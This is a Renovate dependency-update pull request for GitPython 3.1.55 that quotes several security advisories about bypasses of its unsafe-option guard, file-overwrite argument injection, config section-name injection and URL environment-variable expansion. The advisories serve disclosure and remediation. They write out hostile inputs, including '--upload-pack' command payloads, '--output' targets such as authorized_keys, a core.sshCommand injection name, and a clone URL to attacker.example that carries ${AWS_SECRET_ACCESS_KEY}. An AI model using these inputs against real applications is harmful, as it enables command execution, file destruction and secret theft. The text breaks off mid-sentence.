Update dependency gitpython to v3.1.55 [SECURITY] - #1403
Merged
Conversation
renovate
Bot
force-pushed
the
renovate/pypi-gitpython-vulnerability
branch
from
July 24, 2026 19:45
37e3e68 to
d8112d0
Compare
Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
renovate
Bot
force-pushed
the
renovate/pypi-gitpython-vulnerability
branch
from
July 27, 2026 04:56
d8112d0 to
c394e27
Compare
simu
approved these changes
Jul 27, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
3.1.50→3.1.55GitPython unsafe clone option gate bypass through joined short options
GHSA-v396-v7q4-x2qj
More information
Details
GitPythonversion3.1.50blocks unsafegit cloneoptions such as--upload-pack,-u,--config, and-cunless callers explicitly passallow_unsafe_options=True. However, the default unsafe-option gate does not recognize joined short-option forms such as-u/path/to/helper.Git itself accepts
-u<upload-pack>as the short form of--upload-pack=<upload-pack>. As a result,Repo.clone_from(..., multi_options=["-u<helper>"], allow_unsafe_options=False)can execute the helper command even though the equivalent long option is blocked.Affected package:
GitPython3.1.50gitpython-developers/GitPython3.1.50Relevant behavior:
Repo.unsafe_git_clone_optionscorrectly lists--upload-pack,-u,--config, and-cas unsafe clone options.Repo._clone()splitsmulti_optionswithshlex.split(" ".join(multi_options))and then callsGit.check_unsafe_options(...)._canonicalize_option_name("-u/path/to/helper")returns a string beginning withu..., not the canonical short optionu, so it does not match the blocked-uentry.--upload-pack=<helper>and executes the helper during clone.Preconditions:
An application must pass attacker-influenced clone options into
Repo.clone_from(..., multi_options=...)while relying on GitPython's default unsafe-option gate to block command-executing options.The local PoC uses only a local bare Git repository and a local helper script. It does not contact any third-party service.
Local reproduction:
The PoC creates a disposable bare Git repository, a helper script, and a sentinel file path. It first confirms that the long
--upload-pack=<helper>form is blocked by GitPython. It then callsRepo.clone_from(..., multi_options=["-u<helper>"], allow_unsafe_options=False).Observed sanitized output:
The clone fails because the helper exits nonzero, but the sentinel file proves that Git executed the helper despite
allow_unsafe_options=False.Impact:
An attacker who controls
multi_optionscan bypass GitPython's defaultallow_unsafe_options=Falseprotection and execute a local command via Git's--upload-pack/-uclone option. This is a residual bypass of an explicit GitPython security boundary, not merely a case where a caller opted into unsafe behavior.Duplicate / related advisory checks:
PyPI/GitPythonversion3.1.50returned no vulnerabilities.GHSA-x2qx-6953-8485/CVE-2026-42284andGHSA-rpm5-65cw-6hj4/CVE-2026-42215. Their public affected ranges are marked as fixed before 3.1.50.GHSA-x2qx-6953-8485describes validatingmulti_optionsbeforeshlex.split(...). GitPython 3.1.50 now validates after splitting, but the joined short option-u<value>still bypasses because the validator canonicalizes it tou<value>rather thanu.GHSA-rpm5-65cw-6hj4describes unsafe underscored kwargs such asupload_pack=.... The current PoC usesmulti_options=["-u<helper>"]against 3.1.50 and does not depend on underscored kwargs.upload-pack unsafe optionsfound historical related items, including CVE-2022-24439 and the earlier unsafe-options gate work, but no public issue describing this current joined-short-option residual bypass in 3.1.50.multi_options unsafefound PR #2130, which fixed splitting ofmulti_optionsbefore checking. The current issue remains after that split because-u<value>is treated as option nameu<value>, not blocked short optionu.u<upload-pack> unsafeand-cfooreturned no results.Suggested remediation:
When checking unsafe Git options, parse joined short options that take values. For clone,
-uVALUEand-cKEY=VALUEshould be canonicalized touandcrespectively before comparing against the unsafe option set.A safer approach is to maintain command-specific metadata for unsafe short options and recognize the bare option, split form, joined form, and long
--option=<value>/--option <value>forms.Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist
GHSA-2f96-g7mh-g2hx
More information
Details
Command injection via long-option prefix abbreviation bypassing
check_unsafe_options(incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)Component: gitpython-developers/GitPython (PyPI: GitPython)
Affected: all versions carrying the 3.1.47 blocklist fix, through current
main(verified at commit20c5e275,3.1.50-42)CWE: CWE-184 (Incomplete List of Disallowed Inputs) → CWE-78 (OS Command Injection)
Severity: inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — final scoring deferred to maintainer/CNA, mirroring the parent.Reporter: hackkim
Summary
The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (
--upload-pack,--config,-c,-ufor clone;--upload-packfor fetch/pull;--receive-pack,--execfor push) so callers cannot reach command-executing options unless they passallow_unsafe_options=True.The fix canonicalizes an option name along one axis (underscore→hyphen via
dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p,--upload-pa,--upload-pacall resolve to--upload-pack). So a kwarg key likeupload_pcanonicalizes toupload-p, misses the blocklist dict, and is emitted to git as--upload-p=<value>→ executed as--upload-pack=<value>→ command injection, in the defaultallow_unsafe_options=Falseconfiguration.The asymmetry (root cause)
The guard normalizes only
_→-and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.Affected code (commit
20c5e275)git/cmd.py:948-960_canonicalize_option_namegit/cmd.py:963-974check_unsafe_optionsgit/cmd.py:1511transform_kwarg--<dashify(name)>=<value>to the CLIgit/repo/base.py:1411,1413git/remote.py:1074,1128,1201Bypass keys (verified)
upload_p,upload_pac--upload-packreceive_p--receive-packexe--execconf,confi--configMinimal PoC
Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current
main(git 2.50.1):Equivalent at the shell:
git clone --upload-p=/tmp/evil.sh src outrunsevil.sh.Confirmed behavior:
upload_pack(exact) → blocked;upload_p(abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.allow_unsafe_options=Trueopt-out behaves as documented (out of scope).Honest scope note
Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (
allow_unsafe_options=False), which this variant defeats.On the
--configfamily:confbypasses the option blocklist, but weaponizing--config protocol.ext.allow=alwaysvia anext::URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family isupload-pack/receive-pack/exec. Reported transparently — not claiming Critical.Suggested remediation (any one)
startswithon the blocked canonical name, afterdashify).--end-of-optionsor invoke git in a way that disables long-option abbreviation.Remediation should also cover the
-c/--configfamily abbreviations, even though theext::route is currently gated by the protocol allowlist.Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
GitPython: command injection via unguarded Git options in
Repo.archive(),git.ls_remote(), and arbitrary file overwrite viaRepo.iter_commits()/Repo.blame()GHSA-956x-8gvw-wg5v
More information
Details
Summary
GitPython spawns the real
gitbinary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of "unsafe" Git options (--upload-pack,--receive-pack,--exec,-c,--config, …) that can be abused to run arbitrary commands, and enforces them withGit.check_unsafe_options().That enforcement is only wired into the network commands —
clone_from,Remote.fetch,Remote.pull,Remote.push. Several other public APIs that also forward caller-controlled values into thegitargv have no guard at all:Repo.archive(ostream, treeish=None, prefix=None, **kwargs)forwards**kwargsverbatim intogit archive. An attacker-influenced options mapping such as{"remote": ".", "exec": "<cmd>"}becomesgit archive --remote=. --exec=<cmd> -- <treeish>, andgit archive --remote=<local repo>invokesgit-upload-archivewhose path is overridden by--exec→ arbitrary command execution under default Git configuration (noprotocol.ext.allowneeded).repo.git.ls_remote(<url>, upload_pack="<cmd>")(and the dynamic-command builder generally) turns theupload_packkwarg into--upload-pack=<cmd>with no guard → arbitrary command execution.Repo.iter_commits(rev)andRepo.blame(rev, file)place the caller'srevvalue into the argv before the--end-of-options separator and apply no leading-dash check. A benign-looking ref value such as--output=/path/to/fileis parsed bygit rev-list/git blameas the--outputoption, which opens and truncates an arbitrary file before Git even validates the revision → arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).The first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the
check_unsafe_options/ end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.Details
GitPython explicitly recognises these options as command-execution vectors.
git/remote.py:535:and enforces them via
Git.check_unsafe_options()(git/cmd.py:963):But
check_unsafe_optionsis invoked from only five sites, all network commands:The following sinks call
gitwith caller-controlled options/positionals and are not guarded:1.
Repo.archive— command execution (git/repo/base.py:1623)treeishandpathare correctly placed after--, but**kwargsare converted byGit.transform_kwarg(git/cmd.py:1487) into--<name>=<value>flags and inserted before the--by_call_process, with nocheck_unsafe_options.Repo.archivealready documents user-facing kwargs (format,prefix,path), so forwarding a caller options mapping is an expected usage. Final argv:git archive --remote=<repo>runs the upload-archive helper;--exec=<cmd>overrides the helper path, executing<cmd>on the host. This works with default Git config — it does not rely on theext::transport (which is blocked by default).2.
repo.git.ls_remote(..., upload_pack=...)— command execution (dynamic builder,git/cmd.py:1487)transform_kwargdashifiesupload_pack→--upload-pack=<value>.git ls-remote <local-repo> --upload-pack=<cmd>executes<cmd>. The dynamic builder makes both the flag name and value caller-controlled (repo.git.<anything>(**user_dict)), andls_remotehas nocheck_unsafe_options.This is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for
fetch/pull/push/clone_from— butls_remoteand the rest of the dynamic surface were left unpatched.3.
Repo.iter_commits/Repo.blame— arbitrary file overwrite (git/objects/commit.py:348,git/repo/base.py:1199)revis placed before--, with no leading-dash check anywhere in the path. A caller passingrev="--output=/path"(a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:git rev-list/log/blamehonour--output=<file>, whichopen()s and truncates the file before validating the revision — so the file is destroyed even though Git then errors out on the bad revision.PoC
All three PoCs are self-contained, run against the released GitPython 3.1.50 under default Git configuration, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.
Install
PoC 1 — command execution via
Repo.archiveVerbatim output:
git config --get protocol.ext.allowreturns nothing (unset = default), confirming no special config is required.PoC 2 — command execution via
git.ls_remote(upload_pack=...)Verbatim output:
PoC 3 — arbitrary file overwrite via a benign-looking
revVerbatim output:
Severity
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL
GHSA-rwj8-pgh3-r573
More information
Details
Summary
Repo.clone_from()passes the caller-supplied remote URL throughGit.polish_url(), which on every non-Cygwin platform callsos.path.expandvars()on the URL before handing it togit clone. An attacker who controls the URL argument — the documented use case forclone_from()in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed$NAME/${NAME}tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such asAWS_SECRET_ACCESS_KEYorGITHUB_TOKENwith no precondition beyond the ability to submit a clone URL.Details
Affected versions:
gitpython(PyPI) — all releases up to and including3.1.50(latest at time of reporting); confirmed present on themainbranch.Git.polish_url()unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:git/cmd.py(v3.1.50), lines 907–925:Repo._clone()— reached from the publicRepo.clone_from()(git/repo/base.py:1520) andRepo.clone()— runs the unsafe-protocol check on the raw URL and then passes the polished (post-expansion) URL to thegit clonesubprocess:git/repo/base.py(v3.1.50), lines 1407–1418:Because
os.path.expandvars()on POSIX substitutes$NAMEand${NAME}withos.environ[NAME]when set (and on Windows additionally%NAME%), an attacker-supplied URL such as:is rewritten server-side to embed the literal secret value in the path component, and
git clonethen issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value toattacker.example. The clone itself will typically fail, but the secret has already left the server by that point.polish_url()was written as a local-path normalisation helper (Cygwin path conversion,~expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, noexpand_vars=Falseopt-out for the clone URL, and no documentation that the URL undergoes environment expansion — theclone_fromdocstring describesurlonly as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the local repository path argument:Repo.__init__emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons",git/repo/base.py:226–231) and offersexpand_vars=False. The same treatment is missing for the network-bound clone URL.Secondary consequence (unsafe-protocol filter bypass). Because
check_unsafe_protocols()runs on the pre-expansion URL (line 1408) but the post-expansion URL is what reachesgit, an attacker who additionally controls any environment variable in the server process could set e.g.X=ext::sh -c '...'and submiturl="$X"; the raw string$Xpasses theext::filter, then expands to anext::remote-helper transport thatgitwill execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.PoC
Tested against
gitpython==3.1.50on Linux with Python 3 andgitonPATH.poc.py:Expected output:
The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host,
gitwould issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.Impact
Any application that calls
Repo.clone_from()(orRepo.clone()) with a URL that is wholly or partially attacker-controlled — the canonical pattern for "import/mirror repository from URL" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.Suggested fix: Remove the
os.path.expandvars()(andos.path.expanduser()) call fromGit.polish_url()for inputs that are remote URLs (contain://or matchuser@host:path), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation onRepo(path, expand_vars=…). Additionally, applycheck_unsafe_protocols()to the post-transformation URL so no futurepolish_urlchange can silently bypass theext::filter.Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)
GHSA-3rp5-jjmw-4wv2
More information
Details
Summary
In GitPython
<= 3.1.52, the config writer neutralizes only CR, LF, and NUL in configuration names, but writes section names into the[...]header with no other escaping. A section/subsection name that contains] [ "closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule name is attacker-controlled data (it comes from a repository's.gitmodules, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted.git/config, an attacker can setcore.sshCommand(oralias.*,core.pager,core.fsmonitor) and achieve remote code execution on the victim's next git operation. Likely CWE-74 (Injection).This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed newline injection into config values/names (patched in 3.1.50); the
[r\n\x00]guard added for them does not stop a same-line section break inside a name.Details
The only guard applied to section/option names before writing is
_assure_config_name_safe, which uses a regex that matches solely CR/LF/NUL:git/config.py:75,897-899(GitPython 3.1.52):The name is then serialized into the header with no escaping of
],[,", space,=or#:git/config.py:693:For submodules the name is wrapped as
submodule "<name>"(git/objects/submodule/util.py:39,return f'submodule "{name}"'), which supplies the balancing quote. A submodule named:therefore serializes to the header
[submodule "x"] [core] sshCommand=CMD #"]. git parses everything after the first]on that line as a fresh section, yieldingcore.sshCommand=CMD(the trailing#"]is an inline comment). No CR/LF/NUL appears, so_assure_config_name_safenever fires.The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's
.git/config:Repo.create_submodule(name=<untrusted>, ...)→Submodule.add→git/objects/submodule/base.py:619writer.set_value(sm_section(name), "url", url)— a single call, no hostile remote required.Repo.clone_from(<hostile url>)+repo.submodule_update(init=True)→git/objects/submodule/base.py:855writer.set_value(sm_section(self.name), "url", self.url), whereself.nameis read unvalidated from the cloned repo's.gitmodules.Asymmetry: the sibling class is blocked — a newline in a config value, e.g.
set_value("core", "editor", "x\n\tsshCommand=CMD"), raisesValueError. The section-name bracket payload is not caught by the same guard.PoC
Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with
git config --get; no ssh/fetch/push is run and nothing is executed.Run:
Observed output:
The benign name yields a single clean
[submodule "docs"]section; the malicious name yields an injectedcore.sshCommand. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced"makes git reject the header); thesubmodule "<name>"wrapper balances them automatically.Impact
Arbitrary attacker-controlled write into the victim's repository-local
.git/config, which git fully trusts.core.sshCommandis executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (alias.*,core.pager,core.fsmonitor) fire on more common operations. Reachable in default configuration through two realistic paths:Repo.create_submodule(name=...)(single call); orRepo.clone_fromof an untrusted repository followed bysubmodule_update— the canonical submodule threat model, where the malicious name is read from the cloned.gitmodules.No non-default git settings are required. Primarily a Unix vector: on Windows the
"in the resulting.git/modules/<name>directory name can abort the fresh-clone write branch (the direct config-API andcreate_submodulesinks are unaffected).Recommended fix
Reject or escape configuration section/subsection/option names that contain
],[,", or leading/trailing whitespace (or apply git's own section-name escaping) in_assure_config_name_safe/write_section, rather than only CR/LF/NUL. Validating submodule names before they reachsm_sectionwould additionally close the clone-driven path.Severity
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
GitPython: Arbitrary file overwrite via git diff --output argument injection in Diffable.diff (key- and value-controlled)
GHSA-fjr4-x663-mwxc
More information
Details
Summary
Diffable.diff()forwards**kwargsstraight intodiff/diff_treewith nocheck_unsafe_optionsguard.Diffableis mixed intoCommit,Tree,IndexFile, andSubmodule, giving a broad surface.git diff --output=<path>writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite.Root Cause
diff.py:188-283builds and runs the diff command with nocheck_unsafe_optionsanywhere in the method (grep-confirmed). Additionallydiff.py:265doesargs.insert(0, other), placing the caller-suppliedotherref BEFORE the--separator, so a value of--output=/pathis parsed by git as an option — a value-only control path requiring no kwarg key.Impact
Overwrite/corrupt any file at process privilege with attacker-chosen path (e.g.
~/.ssh/authorized_keys, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints.Proof of Concept
Attack Chain
commit.diff(other=<user ref>)withother = "--output=/home/app/.ssh/authorized_keys". Guard: none inDiffable.diff. Bypass proof: nocheck_unsafe_optionsin the method body (grep);otherinserted pre---at diff.py:265.git diff-tree <sha> --output=/home/app/.ssh/authorized_keys -r ...-> git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live.Bypass Evidence
Live-verified on HEAD (tag 3.1.53): both key-control (
output=) and value-control (other='--output=...') overwrote a victim file with real diff-tree content; argv confirmed['git','diff-tree','<sha>','--output=/victim','-r',...]. This is the same value-control model GHSA-956x deemed fix-worthy foriter_commits(rev='--output=')— butdiffis a distinct, unguarded sink NOT touched by that fix.Affected Versions
<= 3.1.53Suggested Fix
Add
check_unsafe_optionstoDiffable.diff(mirroringiter_commits/archive), and/or place--end-of-optionsbefore theotherref so it cannot be parsed as an option.Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
GitPython: Incomplete unsafe_git_clone_options denylist omits --template enabling arbitrary command execution via clone hooks
GHSA-6p8h-3wgx-97gf
More information
Details
Summary
GitPython's
unsafe_git_clone_optionsdenylist omits--template.git clone --template=<dir>copies<dir>/hooks/into the new repository and runs them (post-checkoutfires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the defaultallow_unsafe_options=Falseconfiguration.Root Cause
base.py:145-152definesunsafe_git_clone_options = ["--upload-pack","-u","--config","-c"]—--templateis absent. The guard candidate['--template']passescheck_unsafe_options(verified). git copies the hook directory and executespost-checkoutat checkout time. git'sprotocol.allow/GIT_ALLOW_PROTOCOLdo not gate--template; the incomplete denylist is the only defense.Impact
Arbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs,
/tmp, or attacker-writable network paths), reflected as AC:H.Proof of Concept
Attack Chain
<dir>/hooks/post-checkout(chmod +x). Guard: n/a (filesystem).Repo.clone_from(url, path, template='<dir>'). Guard:check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options). Bypass proof:--templatenot on the denylist -> passes (verified candidate['--template'], no error).post-checkoutat checkout. Impact: ACE, default config (verified marker created).Bypass Evidence
Live-verified on HEAD (tag 3.1.53): guard candidate
['--template']passed with no error; stagedpost-checkouthook executed duringclone_from, creating the marker. Independent of the value-smuggle bypass (--templateis a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory.Affected Versions
<= 3.1.53Suggested Fix
Add
--template(and audit for other hook/exec-influencing options) tounsafe_git_clone_options.Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution
GHSA-r9mr-m37c-5fr3
More information
Details
Summary
GitPython's
check_unsafe_optionsguard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for every guarded method (clone/clone_from,fetch/pull/push,ls_remote,iter_commits,blame,archive) by smuggling an option token inside the VALUE of a single-character kwarg. In the defaultallow_unsafe_options=Falseconfiguration this yields arbitrary command execution via--upload-pack.Root Cause
The guard builds its candidate option list from kwarg KEYS only:
_option_candidates([], {"n":"--upload-pack=<cmd>"})returns['-n'](cmd.py:1042-1046 derives the candidate from the key, never the value).-nis not on the denylist, socheck_unsafe_optionspasses. Buttransform_kwarg('n', value, split_single_char_options=True)(cmd.py:1600-1606) emits two argv tokens['-n', '--upload-pack=<cmd>']. git then parses the second token as--upload-packand executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token.Impact
Arbitrary OS command execution as the host process (via
--upload-pack) in the default configuration, affecting all guarded methods since they all build candidates through the name-only_option_candidates.Proof of Concept
File-write variant on a guarded revision command:
iter_commits('HEAD', g='--output=/path')-> candidate['-g']passes, argv['-g','--output=/path'], victim file truncated.Attack Chain
Repo.clone_from(url, path, n="--upload-pack=touch /tmp/ACE;git-upload-pack"). Guard:check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)at base.py. Bypass proof:_option_candidates([], {"n":"--upload-pack=..."})->['-n'](key-only), not on denylist -> no UnsafeOptionError (verified live).transform_kwarg('n', value, split_single_char_options=True)->['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens.git clone -n --upload-pack='touch ...;git-upload-pack' -- <src> <dst>; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end).Bypass Evidence
Live-verified on HEAD (tag 3.1.53):
_option_candidatesreturns key-only candidate['-n'];transform_kwargsemits the smuggled--upload-pack=token; clone_from with the payload created the marker file; the direct-nameupload_pack=form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value->separate-token vector.Affected Versions
<= 3.1.53Suggested Fix
Make
_option_candidatesalso emit candidates derived from single-character kwarg VALUES whensplit_single_char_optionsis in effect, OR runcheck_unsafe_optionsover the fully-transformed argv rather than the reconstructed name-only candidate list.Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)
GHSA-94p4-4cq8-9g67
More information
Details
Summary
The fix for GHSA-rwj8-pgh3-r573 stopped
Repo.clone_from()from running caller-supplied URLs throughos.path.expandvars(), but it guarded only that one caller.Remote.create()— reached from the publicRepo.create_remote()and itsRemote.add()alias — still passes an attacker-influenceable URL throughGit.polish_url()with the defaultexpand_vars=True. A URL such ashttp://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.gitis expanded server-side to embed the hosting process's environment secre